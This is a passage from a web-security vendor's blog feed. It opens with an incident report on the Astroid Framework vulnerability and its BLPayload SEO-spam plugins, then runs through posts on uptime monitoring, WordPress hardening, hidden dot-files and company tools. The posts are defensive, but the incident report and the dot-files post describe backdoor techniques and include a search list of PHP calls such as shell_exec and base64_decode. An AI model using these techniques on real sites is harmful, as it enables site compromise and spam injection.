The dropper also cleans up after an earlier variant called jcachepro, deleting it from both the database and filesystem. This tells us the attack has evolved through at least two generations. Reports from the Swiss Joomla forum confirm both jcachepro and blpayload have been found side by side on compromised sites, so don't assume the dropper always cleans up after itself.

We've also seen dropper files with randomized filenames like blp_9948.php, blr_6661.php, and astroid_poc_[random].php dropped into the /images/ directory. The astroid_poc variant was first spotted on February 24, a full week before the mass exploitation wave began on March 1. Check your media folders, not just the plugin directories.

mySites.guru's suspect content scanner flags the install.php file with 11 pattern matches, including the SQL query that force-enables the plugin at priority 9999:

Stage 2: the payload plugins

Once the dropper runs, you end up with malicious system plugins installed in Joomla:

We've seen them registered as System - BLPayload (v7.0.0) and System - BL Payload (v1.0.6). Both run at priority 9999 and execute on every single page load.

What the payload does

On every frontend request, the plugin contacts hacklink.pw, a black-market SEO platform. It fetches a list of hidden spam links -- gambling, phishing, crypto scam sites -- and injects them into your page HTML. The links are hidden from visitors using CSS positioning (left:-9999px; visibility:hidden) but fully visible to search engine crawlers.

mySites.guru's suspect content scanner flags the blpayload.php file itself, showing the API call to hacklink.pw, the cache file generation, and even an $aggressiveness setting the attacker can control remotely:

The plugin caches its output locally as HTML files in /administrator/cache/ with filenames like plg_jcp_aa6cb959d0c3810149132dc8485b0016.html. These cache files keep serving spam even when the external server goes down.

The attackers are riding on your domain's reputation to boost their own sites in search results.

How does mySites.guru detect this?

mySites.guru catches this from two angles: the vulnerable framework file itself and the payloads left behind by attackers.

Vulnerable framework files

Our audit system matches the md5 hash of library/astroid/Admin.php against known vulnerable versions. If your site has an old, unpatched copy of this file, mySites.guru flags it as a confirmed hacked file. No false positives -- each hash was verified against the vulnerable source code.

Malicious payload plugins and cache files

The suspect content scanner picks up the BLPayload plugin files and the plg_jcp_*.html cache files in /administrator/cache/. Here's what a compromised site looks like after an audit -- the install.php dropper, dozens of plg_blpayload_* and plg_jcp_* cache files, all flagged as "Hacked File":

Not sure what you're looking at in a flagged file? Our AI-powered malware analysis can review it with one click and tell you exactly what it does.

Which of your sites are affected?

If you manage more than a handful of Joomla sites, this is where things get stressful. You need to know which sites have the Astroid Framework installed, and you need to know right now, not after logging into each one individually.

This is exactly the kind of situation mySites.guru was built for. Every extension on every connected site is indexed and searchable. One URL gives you the full list:

View all your sites with Astroid Framework installed

That page shows every site in your account running this framework, with the version number, so you can see at a glance which ones still need updating. No logging into 50 admin panels. No spreadsheets. No guessing which client sites might be using an Astroid-based template. You can also use the Active Theme and Template List to see every site's active template at a glance and export the full list as CSV.

When a vulnerability like this drops, knowing which sites are affected in 10 seconds means you can patch before the attackers get there - not after they already have.

If you don't have a mySites.guru account yet, sign up for a free trial and connect your sites. The extension index builds automatically on the first audit.

What do you need to do right now?

1. Update the Astroid Framework to 3.3.13

Download it from the official release page and install it through your Joomla extension manager. This closes the vulnerability and includes all bug fixes since the initial patch. If you manage multiple sites, you can push the update to all of them at once.

Quick version history since the patch: 3.3.11 (5 March) fixed the vulnerability but had video background and mega menu width regressions. 3.3.12 (6 March) fixed those regressions. 3.3.13 (15 March) fixes GSAP plugin loading errors, improves touch device navigation and mega menu behavior, adds section/column height controls and a stagger animation toggle, and updates Font Awesome to 7.2.0, LenisJS to 1.3.18, and Fancybox to 6.1. No additional security changes - 3.3.11 already has the full CVE-2026-21628 fix.

2. Check for installed payload plugins

Open your Joomla plugin manager and search for "BLPayload" or "BL Payload". If you find either one, your site was compromised. Uninstall them immediately. With mySites.guru you can search installed extensions across all your sites to find every instance in seconds.

3. Clear the administrator cache

Look in /administrator/cache/ for any files matching plg_jcp_*.html or plg_blpayload_*.html. Delete them.

4. Run a full security audit

If you have a mySites.guru account, run an audit now. The suspect content tool will scan every file in your webspace and flag anything suspicious.

If you don't have an account, sign up for a free trial and connect your site. The audit runs automatically.

5. Check for additional backdoors

Attackers who got in through this vulnerability may have installed more than just the BLPayload plugin. Look for:

The earlier variant jcachepro in /plugins/system/jcachepro/ (the current dropper tries to clean this up, but it may still be present)
SVG files in /administrator/ or media folders that contain PHP code (the droppers disguise themselves as SVG images)
PHP files in /images/, /tmp/, /cache/, or /logs/ where they don't belong - look specifically for blp_*.php, blr_*.php, and astroid_poc_*.php
Unfamiliar admin user accounts
Other unknown plugins, especially system plugins
Files containing eval(, base64_decode(, shell_exec(, or system( calls

Our file change monitoring will alert you in real time if any watched files are modified after cleanup.

6. Change all passwords

Change your Joomla admin password, database password, FTP credentials, and hosting panel login. If attackers had admin-level access, assume they saw everything.

7. Check Google Search Console

The hidden link injection may have already affected your search rankings. Check Google Search Console for manual actions or unusual coverage changes. If spam backlinks are indexed, use Google's Disavow Tool.

What are the technical details?

This vulnerability is tracked as CVE-2026-21628 with a CVSS 4.0 score of 10.0 Critical and classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). The full vector string: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y - network-exploitable, no privileges required, no user interaction needed, with high impact across confidentiality, integrity, and availability.

The Astroid Framework's Admin.php handled all AJAX operations for template management through protected methods like save(), media(), getLayouts(), search(), clearCache(), and installTemplate().

Each of these methods checked for a valid CSRF token with Session::checkToken(), but none of them verified that the requesting user was an authenticated administrator with appropriate permissions. The CSRF token is meant to prevent cross-site request forgery from authenticated sessions. It was never designed to be the only authentication check.

The token from the login form is embedded in the page HTML and accessible to anyone who can view the page. Using it as the sole authentication mechanism is like checking that someone has a key to the building's front door but never asking if they're actually an employee.

The fix adds a single authorization check before each sensitive operation:

$user = Factory::getApplication()->getIdentity();
if (!$user->authorise('core.manage', 'com_templates')) {
    throw new \Exception('You are not authorized to access this page.', 403);
}

Standard Joomla ACL. It should have been there all along.

Update (March 31, 2026): The same problem keeps showing up. Joomla 5.4.4 and 6.0.4 shipped with ACL hardening for com_ajax in Joomla core, alongside the Novarain Framework (CVE-2026-21627) and Smart Slider 3 (CVE-2026-3098) disclosures earlier this month. That's four AJAX authorization failures in March 2026 alone, across plugins and core. If you build Joomla extensions, audit your com_ajax handlers now.

Update (April 7, 2026): And it happened again, this time on WordPress. Ninja Forms File Uploads (CVE-2026-0740) disclosed on April 6: CVSS 9.8 unauthenticated arbitrary file upload in an admin-ajax.php handler, around 50,000 affected sites. The vendor even shipped a first patch that did not actually fix it - only 3.3.27 closes the hole. Same pattern as Astroid, different platform.

Want someone to clean it up for you?

If you'd rather hand this off, visit fix.mysites.guru and submit a request. For a one-time set fee, the site gets cleaned, upgraded, locked down, and handed back secure. Non-subscribers get a free month of mySites.guru included.

Novarain Framework Vulnerability - CVE-2026-21627 (CVSS 9.5) follows the same pattern: a shared Joomla framework plugin with unauthenticated AJAX endpoints, affecting 8,297 sites across our dataset
Smart Slider 3 Arbitrary File Read - CVE-2026-3098 on WordPress, same root cause: AJAX nonce without capability check
Ninja Forms File Uploads CVE-2026-0740 - CVSS 9.8 unauthenticated RCE in a WordPress plugin admin-ajax.php handler affecting around 50,000 sites, with a failed first patch that only shipped the real fix in 3.3.27
Four WordPress Plugins That Shipped Security Patches in March 2026 - Elementor, Yoast SEO, WPForms, and Really Simple Security all disclosed vulnerabilities in the same month, showing how widespread the problem is across the WordPress ecosystem
Joomla 5.4.4 / 6.0.4 release - Joomla core itself needed com_ajax ACL hardening, same class of bug
Joomla TinyMCE Editor Broken in Firefox 148 - Another recent Joomla incident where the Mass Upgrade tool let agencies push a fix to every site at once

Why you're getting downtime alerts (and why they matter)

phil@mysites.guru (Phil Taylor) — Wed, 04 Mar 2026 00:00:00 GMT

You've probably had this experience: an email lands from mySites.guru telling you a site is down, you open it in your browser, and it loads perfectly. Frustrating.

But think about it from the other direction. Our server tried to reach your site three separate times and couldn't. If we can't get through, there's a decent chance your visitors couldn't either during that window.

How do the monitoring checks work?

Every 5 minutes, our custom-built monitoring engine checks each of your connected sites. We don't fire off an alert on the first failed request. Instead, we run three checks before we tell you anything:

We send a HEAD request to your site with a 45-second timeout. If it responds with a success code, we mark it as up and move on.
If the first check fails, we wait 10 seconds and send another HEAD request. This catches momentary blips like a slow database query or a brief resource spike.
If the second check also fails, we wait another 10 seconds and send a full GET request. Some servers handle HEAD and GET differently, so the final check switches methods to rule that out.

We only send a downtime alert if all three checks fail.

In the worst case, where each request hits the full 45-second timeout, we've spent over two minutes trying to reach your site before alerting you. In practice, failed requests usually fail fast (connection refused, DNS error), so the whole thing takes well under a minute.

When your site comes back, we pick that up on the next check cycle and send you a recovery notification.

Why do you get alerts when your site "seems fine"?

You check from your browser and it loads. So why are we saying it's down? There are a few common causes.

Your host is blocking our IP address

This is the most common one. Hosting providers run firewalls and intrusion detection systems (ModSecurity, Fail2Ban, Imunify360) that automatically block IP addresses making repeated requests. If your sites are behind a corporate firewall, the same thing can happen. Our monitor hits your site every 5 minutes from the same IP, and some security tools decide that's suspicious and block us.

The block might be temporary, lasting a few minutes to a few hours, or permanent until someone removes it manually. If you see your site going down and coming back up in a pattern, a temporary block is almost certainly what's happening.

Your server is briefly overloaded

Servers have finite resources. During traffic spikes, heavy cron jobs, backup processes, or plugin updates, there may not be enough capacity to handle new requests for a few seconds. If our check lands during that window, all three attempts can fail.

This is especially common on shared hosting where your sites compete with other customers for the same resources. A full disk partition can cause the same kind of failure.

DNS resolution failures

If your domain's DNS servers are slow or temporarily unavailable, we can't resolve your domain to an IP address, and the check fails before it even reaches your server. Less common, but it happens, particularly with budget DNS providers.

SSL/TLS handshake failures

An expired or misconfigured SSL certificate, or an overloaded TLS stack, will cause the secure connection to fail before any page content gets exchanged. We treat that as a failed check.

What happens when all your sites go down at once?

If you manage dozens or hundreds of sites and they all show as offline at the same time, it's almost never a coincidence.

When all your sites live on the same server, they share a single point of failure. If that server has a problem, every site on it goes unreachable at once. Common causes:

A runaway process or traffic surge eats all available RAM and the web server stops accepting connections
Heavy background tasks (backups, malware scans, bulk updates) peg the CPU so hard that nothing else gets served
The server hits its maximum concurrent connections and starts rejecting new ones
The server's firewall sees our IP hitting many different domains and decides we're attacking it, blocking us across the board
A brief network interruption between our server and yours

These events are usually short - 30 seconds to a couple of minutes - but our 5-minute check interval with 3-step verification means even brief outages get caught and reported.

If all your sites are on one server and they all go offline together, the server is the problem. Talk to your hosting provider about the resource limits on your plan, or consider spreading sites across multiple servers so a problem on one only affects part of your portfolio.

What can you do about it?

1. Whitelist our monitoring IP

Start here. Ask your hosting provider to whitelist this IP address:

Have them add it to their firewall's allow list so it never gets blocked or rate-limited. This solves the most common cause of false downtime alerts.

If you manage your own server, you can do it yourself. In CSF (ConfigServer Security & Firewall), add the IP to /etc/csf/csf.allow. In Fail2Ban, add it to the ignoreip setting.

2. Check your server resources

Frequent brief downtime across multiple sites on the same server usually means the server is underpowered. Look at your memory usage, CPU load during the times alerts arrive, and disk space. Your hosting control panel usually has graphs for this, or ask their support team.

3. Spread sites across multiple servers

If you have 50+ sites on one server, splitting them across two or three servers means a problem on one only takes down part of your site portfolio. It also makes troubleshooting easier because you can see exactly which server is having issues based on which group of sites goes offline.

4. Review your security software

Check that rate-limiting thresholds on your server or security plugins aren't set too aggressively. Monitoring traffic from a known IP every 5 minutes is not an attack.

5. Look at the timing

If your alerts cluster around specific times (say, every night at 2 AM), something scheduled on your server is probably eating all available resources during that window. Backups and bulk updates are the usual suspects - consider staggering your schedules.

Why should you take the alerts seriously?

We built the monitoring engine to avoid false positives. Three checks, pauses between each, a different HTTP method on the final attempt. If we send you an alert, our server genuinely could not reach your site after multiple attempts over at least 20 seconds.

If we can't reach your site, your visitors probably can't either. Each downtime alert represents a window where real visitors may have hit an error page or a timeout instead of your site.

The alerts aren't the problem. They're telling you about it.

Need help?

If you're still getting frequent alerts after whitelisting our IP, get in touch. We can check the response codes and timing from our end to help narrow down what's going on.

For the broader monitoring picture, see our complete monitoring and alerting guide.

How to Remove the WordPress Logo from the Admin Bar with One Click

phil@mysites.guru (Phil Taylor) — Tue, 03 Mar 2026 00:00:00 GMT

What is the WordPress logo in the admin bar?

Every WordPress installation displays the WordPress logo in the top-left corner of the admin toolbar. Hovering over it reveals a dropdown menu linking to WordPress.org, documentation, support forums, and a feedback page.

For WordPress developers and site administrators, these links are occasionally useful. For clients, content editors, and end users, they're a source of confusion and a missed branding opportunity.

Why should you remove it?

White-label client delivery

If you build WordPress sites for clients, the admin interface is part of what you're delivering. A WordPress logo in the admin bar says "this is WordPress" when you might want it to say "this is your website's management panel." Removing the logo is a standard white-labelling step alongside custom login pages and branded dashboard widgets. Pair it with white-label client reports and the result is a fully branded experience from login to reporting.

Reduced confusion

Non-technical users click things. The WordPress logo menu links to WordPress.org, which is irrelevant to someone who just needs to publish a blog post or update a product listing. Removing it eliminates a distraction and keeps users focused on the tools they actually need.

Cleaner interface

Fewer controls in the admin bar reduce visual noise. It's a small thing, but it makes the admin panel feel intentional rather than out-of-the-box.

Marginal performance

The WordPress logo menu includes HTML, CSS, and JavaScript for the dropdown. Removing it saves a small amount of page weight. On individual page loads it's negligible, but across thousands of admin page views per month on a busy multi-user site, it adds up.

How do you remove it manually?

The standard approach is a function in your theme or a must-use plugin:

add_action('wp_before_admin_bar_render', function () {
    global $wp_admin_bar;
    $wp_admin_bar->remove_menu('wp-logo');
});

This removes the WordPress logo node from the admin bar for all users. You can wrap it in a capability check if you want admins to still see it.

The manual approach works fine for a single site. For a portfolio of sites with different themes, you'd need to add this to each site's theme or create a must-use plugin for each server. That's where managing multiple WordPress sites from a single dashboard pays off.

How does mySites.guru handle it?

mySites.guru's WordPress Configuration audit checks whether the WordPress logo is still showing in the admin bar. If it is, click fix and the connector removes it. The change survives WordPress core updates and theme switches because it's handled by the connector plugin, not theme code. It works the same way as the one-click toggles for debug constants - the dashboard flags the issue and you fix it without editing files.

Want it back for development? Toggle it on again from the dashboard.

How does this fit into a broader customisation workflow?

Removing the WordPress logo is often one step in a series of admin customisations:

Custom login page - brand the login screen with your logo and colours
Remove WordPress logo from admin bar - handled by mySites.guru
Custom dashboard widgets - replace default WordPress news and events with your own content
Custom admin footer - replace "Thank you for creating with WordPress" with your own text
Disable the frontend admin bar for non-admins - covered in the companion post

mySites.guru handles the WordPress logo removal from this list. For the others, you'd typically use a white-label plugin or custom theme functions. But having the logo removal available as a one-click audit fix means one less thing to configure manually on each new site. The same one-click pattern applies to other WordPress cleanup tasks, like removing the default Sample Page and Hello World post.

Who benefits most?

Agencies delivering WordPress sites to clients, freelancers who want a polished admin experience, enterprise deployments with corporate branding requirements, and membership platforms where logged-in users see the admin bar.

If you want a consistent branded admin experience across multiple WordPress sites without maintaining custom code on each one, this is an easy win. For more on managing your WordPress workflow efficiently, see how to manage multiple WordPress sites like a pro.

How to Stop Any Plugin Installs in WordPress Admin

phil@mysites.guru (Phil Taylor) — Tue, 03 Mar 2026 00:00:00 GMT

Why does the WordPress admin let anyone install code?

Out of the box, any WordPress administrator can install plugins and themes directly from the WordPress dashboard. They can also upload ZIP files containing arbitrary PHP code, and edit existing plugin and theme files through the built-in code editor.

For a single-user blog, this is convenient. For a professionally managed site with multiple admin users, it's a gaping security hole. If an attacker has already used this to compromise your site, here's how to confirm the hack and respond.

Consider what "install a plugin" really means in WordPress: it's uploading and executing arbitrary PHP code on your web server. The WordPress plugin directory has quality guidelines, but the upload functionality accepts any ZIP file - including ones downloaded from random websites, received via email, or crafted by an attacker.

What is the WordPress security case for DISALLOW_FILE_MODS?

Compromised admin accounts

The most common WordPress hack path is a stolen or brute-forced admin password, not a zero-day exploit. Once an attacker has admin access, installing a malicious plugin is the fastest way to establish a persistent backdoor.

With DISALLOW_FILE_MODS enabled, even a compromised admin account can't install plugins, upload themes, or edit PHP files through the WordPress interface. The attacker still has admin access (which is bad), but they can't escalate from "can manage content" to "can execute arbitrary code on the server."

Unauthorized installations

On sites with multiple admins - common in agencies, marketing teams, and organizations - there's always someone who wants to install "just one more plugin" without testing it. Maybe it's a social sharing widget, maybe it's a page builder, maybe it's something they found in a blog post.

Every plugin added to a WordPress site is code that needs to be maintained, updated, and security-audited. Uncontrolled plugin installations lead to bloated, slow, vulnerable sites.

Supply chain attacks

Compromised plugins in the WordPress directory are a recurring problem. When a legitimate plugin is sold to a new developer who pushes a malicious update, sites with auto-updates enabled install the malicious version automatically. You can disable automatic updates entirely as a first line of defence. With DISALLOW_FILE_MODS on, even if auto-updates are enabled at the WordPress level, the file modification is blocked. If you also manage Joomla sites, be aware that Joomla 5.4+ has its own automated core updates that should be reviewed and disabled for the same reasons.

How do you set DISALLOW_FILE_MODS manually?

Add this line to wp-config.php:

define('DISALLOW_FILE_MODS', true);

This immediately:

Removes the Plugin Editor and Theme Editor from the admin menu
Hides the "Add New" button on the Plugins and Themes screens
Blocks plugin and theme uploads through the admin
Prevents automatic updates from modifying files (note: this is more aggressive than AUTOMATIC_UPDATER_DISABLED)

The manual process for multiple sites: SSH into each server, edit wp-config.php, verify the change, repeat. And keep checking that nobody has removed it.

How does mySites.guru manage DISALLOW_FILE_MODS?

mySites.guru's WordPress Configuration audit reads DISALLOW_FILE_MODS from wp-config.php on every connected site. If it's not set to true, the audit flags it.

Click fix, and the connector sets it.

You can also view this constant across all your WordPress sites at once and toggle each one individually from the all-sites tool view.

If the constant gets removed later (WordPress upgrade, another admin, hosting provider auto-configuration), the next snapshot catches it again. It works the same way as the one-click toggles for debug constants and removing the WordPress logo from the admin bar - the dashboard flags the issue and you fix it without editing files.

But how do I update WordPress plugins then?

If you block file modifications in the admin, how do you keep plugins and themes updated?

Several options:

WP-CLI - the command-line tool for WordPress isn't affected by DISALLOW_FILE_MODS. You can run wp plugin update --all via SSH.

SFTP/SSH deployment - upload updated plugin files directly to the server, bypassing the WordPress admin entirely.

mySites.guru - the connector plugin operates at a level that can apply updates independently of the WordPress admin interface. You manage updates from the mySites.guru dashboard while keeping the WordPress admin locked down. For the full workflow, see how to manage multiple WordPress sites like a pro.

DISALLOW_FILE_MODS separates two concerns that WordPress normally bundles together:

Content management - creating pages, writing posts, managing users (still works)
Code management - installing plugins, editing themes, modifying PHP files (blocked)

On a well-managed site, different people (or systems) handle these two concerns. Content editors don't need to install plugins. Plugin updates happen through a controlled process, not through the WordPress admin UI.

What about WordPress ALLOW_UNFILTERED_UPLOADS?

There's a related constant that's more dangerous in practice: ALLOW_UNFILTERED_UPLOADS. When set to true, it lets administrators upload any file type through the WordPress media library - PHP files, executables, anything.

WordPress normally restricts uploads to safe file types like images, PDFs, and documents. ALLOW_UNFILTERED_UPLOADS removes that restriction entirely. Some developers enable it to upload SVGs or custom font files, then forget to turn it off.

If an attacker compromises an admin account on a site with unfiltered uploads enabled, they can upload a PHP backdoor directly through the media uploader. No plugin installation needed, no theme editor required - just drag and drop a .php file into the media library.

define('ALLOW_UNFILTERED_UPLOADS', false);

Keep this set to false (or better yet, don't define it at all - false is the default). If you need SVG uploads, use a plugin that sanitises SVG files rather than opening the door to every file type.

mySites.guru's WordPress Configuration audit checks this constant alongside DISALLOW_FILE_MODS. If unfiltered uploads are enabled on any of your sites, you'll see it flagged and can disable it with one click.

How does this fit into a WordPress defence-in-depth strategy?

Locking down file modifications works best alongside other hardening steps: disabling XML-RPC, limiting post revisions, closing the unauthenticated database repair endpoint, enforcing minor-only core updates, removing leftover default content like the Sample Page and Hello World post, and enforcing strong passwords with 2FA.

mySites.guru's audit checks all of these in the same snapshot. You see your security posture across every site on one screen, and any configuration drift gets caught automatically. For more on what the audit covers, see the best practice guide.

This is one of several hardening measures in our agency security guide.

Hidden Files Lurking on Your Web Server

phil@mysites.guru (Phil Taylor) — Mon, 02 Mar 2026 00:00:00 GMT

You know what's great about files that start with a period? They're invisible. Your FTP client hides them. Your cPanel file manager hides them. Even ls on the command line hides them unless you remember to add -a.

Hackers know this too.

What is the dot-file blind spot?

Every web server has files that start with a dot - .htaccess, .htpasswd, .user.ini. These are normal. They control how your server behaves, who can access what, and how PHP runs.

If a hacker drops a file called .joomla.class.php or .wordpress.class.php into a random subdirectory three levels deep, you'll probably never see it. Not in your file manager, not during a casual browse through FTP, not ever. That file could sit there for years, redirecting your visitors to a spam site or giving the attacker a backdoor to walk right back in whenever they feel like it. If any of this sounds familiar, our WordPress malware scanner can check every file in your webspace - and if you already know something is wrong, the WordPress hacked guide walks you through what to do next.

We've seen this on real sites. Hidden dot-folders too, like a .cache or .tmp directory planted by an attacker, full of phishing kits or mailer scripts. The dot prefix keeps them invisible on most hosting panels, so they survive cleanups and updates because nobody knows they're there.

How does mySites.guru find them?

When you run a security audit on any connected site, mySites.guru scans every file on your webspace and flags anything with a dot-prefixed name. The hidden files check looks through the full file index for any path containing /. - catching dot-files and dot-folders at every level of your site.

The audit dashboard shows your hidden files count with a simple badge:

Green - zero hidden files found (uncommon, but possible on minimal installs)
Yellow - hidden files detected, review recommended

It's a yellow warning, not a red alarm. The tool lists every file with a dot-prefix - legitimate or not. It doesn't try to decide what's safe and what isn't. That's your call. Some of these files will be perfectly normal (.htaccess, .htpasswd), some will be developer junk (.gitkeep), and some might be malware. The point is to make sure you actually know what's there, because you can't make that judgement on files you've never seen.

If something looks suspicious, other mySites.guru tools can help - the suspect content scanner and AI malware analysis will flag known backdoor patterns, so the same file might turn up across multiple tools. That overlap is deliberate. Different tools catch different things from different angles.

Drilling into the results

Click through from the audit result and you'll get the full list of every hidden file on the site, sorted by last modified date (newest first). For each file you can see:

The full file path
When it was last modified
File size (flagged if unusually large)
File permissions (flagged if they're not standard 644)

This is where it gets useful. You'll probably see a handful of .htaccess files - one in the root, maybe one in /administrator/ or /wp-admin/, and that's expected. But if you see a .htaccess in /images/stories/ or a .php dot-file buried in /wp-content/uploads/2019/03/, that's worth a closer look. The suspect content tool can scan its contents for known malware patterns and confirm whether it's a known backdoor.

The tool paginates results (100 at a time with "Load another 100" or "Show All"), and you can export everything to CSV if you need to share the findings with a client or keep a record.

Are hidden folders just as bad?

The audit also counts hidden folders separately. A dot-prefixed folder like /.bak or /.old can contain an entire toolkit - file managers, mailer scripts, SEO spam pages - all completely invisible to anyone casually browsing the server.

Attackers also disguise backdoors as legitimate file types. The Astroid Framework attack drops PHP code inside SVG image files - they pass basic file type checks but execute as PHP on the server.

These hidden folders can survive for years. Site owners clean up after a hack, reinstall core files, change passwords, and feel safe. But that .tools folder three directories deep? Still there. Still accessible. Still a way back in. If you find something that shouldn't be there, our guide to fixing a hacked site walks you through what to do without destroying the evidence.

It's not always hackers - developers leave these too

Not every hidden file is malware. Some of the dot-files on your site were put there by legitimate extension developers who made questionable decisions.

Take .gitkeep files. These are development artifacts - empty placeholder files that developers use to force Git to track otherwise-empty directories. They serve zero purpose on a production web server. Yet plenty of extensions ship with .gitkeep files scattered throughout their directory trees because nobody bothered to exclude them from the release package. They're harmless, but they're clutter, and they tell you the developer's build process needs work.

Then there's the truly stupid stuff. We've seen extensions ship with .api.key files - actual API credentials stored in a dot-file on the assumption that the dot prefix somehow makes it secure. It doesn't. Anyone who knows the path can request it directly in a browser. The dot prefix only hides files from directory listings, not from direct access. Hiding secrets by putting a dot in front of the filename is like hiding your house key under the doormat and calling it a security system.

.htaccess files inside third-party extensions are another common find. Some are legitimate (restricting direct PHP execution in upload directories), but others are leftover development config that the developer forgot to remove. An .htaccess inside a .tmp or .trash folder deep in an extension's vendor directory is a sign that the extension is shipping its entire development tree rather than a clean production build.

The point is: even when these files aren't malicious, they're still worth knowing about. They reveal the quality of the code you're running, and occasionally they expose things that genuinely shouldn't be publicly accessible.

What about the .well-known folder?

One dot-folder you'll almost certainly see is /.well-known/. This one is legitimate - it's an IETF standard that services use to discover things about your site. Let's Encrypt puts its domain validation challenges in /.well-known/acme-challenge/. Apple uses /.well-known/apple-app-site-association for universal links. Security researchers look for /.well-known/security.txt.

So why mention it here? Because attackers know you expect this folder to exist, and they abuse that. We've seen sites where someone planted a PHP shell inside /.well-known/acme-challenge/ because it's a directory that already has to be publicly accessible for SSL renewals to work. Nobody questions traffic to /.well-known/ in their access logs.

If you see files inside /.well-known/ that aren't plain text challenge tokens or JSON config files, especially anything ending in .php, take a closer look. The folder is supposed to be boring. If it isn't, that's a problem.

Why does .htaccess deserve extra attention?

We deliberately flag .htaccess files - yes, we know they're usually fine. But .htaccess is one of the most powerful files on an Apache server. A malicious one can:

Redirect all your traffic to a spam or phishing site
Block search engine crawlers from indexing your real content
Serve different content to Googlebot than to real visitors (cloaking)
Password-protect directories the attacker has planted files in
Execute PHP in directories where it shouldn't run (like /uploads/)

One .htaccess in the wrong place can undo every other security measure you've put in place. Reviewing all of them periodically is just good practice.

What should you do with the results?

Review every dot-file that isn't .htaccess. If you don't recognize it, look at what's inside. If you're not confident reading PHP, the AI malware analysis tool can tell you within seconds whether a file is malware or a false positive
Count your .htaccess files. Most sites have 1-3 legitimate ones. If you have 15, something is off
Check modification dates. A .htaccess modified last week that you didn't touch? Red flag. Better still, set up real-time file modification alerts so you're notified the moment a file changes
Look for dot-folders. Legitimate ones are rare outside of development environments
Compare between audits. If your hidden file count suddenly jumps, dig in immediately

Still not sure what you're looking at? Drop Phil a message and he'll point you in the right direction. If you'd rather have someone go through the whole site for you, you can book a paid consultancy review at fix.mySites.guru.

How do you run this across all your sites?

If you manage dozens or hundreds of sites, doing this manually on each one would take days. With mySites.guru, every scheduled audit automatically counts hidden files across all your connected sites. You can configure how often those audits run - daily, weekly, or monthly - and spot anomalies at a glance from the dashboard without logging into a single server.

You can also view the hidden files results for every site on a single page at the all-sites hidden files tool. Each site shows its hidden file count with an Investigate button to drill into the details, and a Manage Site button to jump straight to that site's dashboard. Tabs let you switch between your Joomla, WordPress, and Generic PHP sites.

The hidden files tool works on Joomla, WordPress, and any PHP application connected to mySites.guru. Same scan regardless of platform.

Get Started

Already a mySites.guru subscriber? Run an audit on any site and look for the Hidden Files result in the Files Information section. Click through to review what's lurking on your server.

Not using mySites.guru yet? Start a free trial and connect your first site in under two minutes. The first audit usually surfaces a few surprises.

Learn more in our WordPress and Joomla security guide.

mySites.guru Raycast Extension for Mac

phil@mysites.guru (Phil Taylor) — Fri, 27 Feb 2026 00:00:00 GMT

We've had an Alfred workflow for this for a while, but a lot of Mac users have moved to Raycast and kept asking for a native extension. So here it is.

Type "mys" into Raycast and the mySites.guru Site Search command appears at the top:

Then press Enter to open the command and you will see a list of your sites.

Hit Enter to load the Manage Site page for that site. Or use ⌘K in Raycast to view more options like opening the site in your browser or copying the URL.

What does it do?

Type a few characters in Raycast and you get a filtered list of every site connected to your mySites.guru account, with favicons. From there you can:

Open the management page for any site in one keystroke
Visit the live site in your browser
Copy the site URL or management URL to your clipboard
Refresh the site list on demand with ⌘R

Results are cached for 5 minutes so it feels instant.

If you manage dozens or hundreds of sites, this changes the workflow. Instead of logging into the mySites.guru dashboard, finding the site, and clicking through, you just type a few letters and you're there. Pair it with one-click admin login and you can go from "I need to check that site" to logged into its admin panel in about three seconds.

We also have a command palette inside the mySites.guru dashboard itself if you prefer to stay in the browser.

What is Raycast?

If you haven't come across it yet, Raycast is a keyboard launcher for macOS that replaces Spotlight. You hit a hotkey, type what you want, and things happen. Apps open, files appear, calculations get done, windows snap into place. It responds in milliseconds.

But the launcher is just one part of it. Raycast also ships with clipboard history, window management, snippet expansion, quick notes, a calculator, calendar, and emoji picker. All keyboard-driven, all fast. If you've ever had five separate utility apps running to cover all that, Raycast replaces the lot.

The extension store

The real reason we built for Raycast is the extension system. There's a store with thousands of extensions for tools you probably already use: GitHub, Notion, Linear, Slack, Figma, 1Password, VS Code, Todoist. Extensions are built with React and TypeScript, so any web developer can build one without learning anything new.

Our mySites.guru extension is distributed from GitHub rather than the Raycast Store, but once installed it works exactly like any other Raycast command.

Free where it matters

The base Raycast app is free, and extensions work on the free tier. There's a paid Pro plan for AI features and cloud sync, but you don't need it for the mySites.guru extension or most of the store. Compare that to Alfred, where you need the paid PowerPack (£34+) before workflows do anything at all.

If you're already on Raycast, our extension drops straight in. If you're still on Spotlight, this might be worth a look.

Download

The extension is hosted on GitHub. Grab the latest release here:

Download mySites.guru Raycast Extension

You'll get a .zip file containing the extension source. No Raycast Store install needed - you run it locally as a dev extension, which takes about 30 seconds.

If you'd rather clone the repo directly:

git clone https://github.com/mySites-guru/raycast-extension.git

How do you install it?

Download the latest release from GitHub
Extract the archive and run:
```
npm install && npm run dev
```
Raycast will prompt you for your API token on first launch
Get the token from manage.mysites.guru/en/sites/screenshots (enable "Public Site Screenshots" first if you haven't already)

That's it. Start typing a site name and your sites appear.

On first launch, Raycast will show the welcome screen where you paste your token:

Can you use the same token as Alfred?

If you already set up the Alfred workflow, you already have a token. The Raycast extension uses the same one, same API, same endpoint. You can run both side by side if you want.

Is it open source?

The extension is open source on GitHub under the MIT license. Pull requests welcome if you want to add something.

Not on mySites.guru yet?

If you're managing multiple WordPress or Joomla sites and don't have a mySites.guru account, you can start with a free audit to see what it does. The Raycast extension works on all plans, including the free tier. Check the full feature list or go straight to pricing if you already know what you need.

This is one of several productivity tools in our agency management guide.

mySites.guru supports login with Passkeys

phil@mysites.guru (Phil Taylor) — Fri, 27 Feb 2026 00:00:00 GMT

Passwords are the worst part of logging in to anything. You know it. We know it. So we added passkey support to mySites.guru - mainly for security, but also to make logging in a lot easier - no more passwords to remember!

What is a passkey?

A passkey is a replacement for typed passwords. Instead of remembering (or more likely, forgetting) a string of characters, your device creates a pair of cryptographic keys when you register. One stays on your device, locked behind your fingerprint, face, or screen PIN. The other goes to the server. When you log in, the two keys do a handshake and you're authenticated. You never type anything.

The important bit: the private key never leaves your device. It can't be copied, emailed, pasted into a phishing form, or found in a data breach. If someone steals the server's database, they get the public key, which is useless on its own.

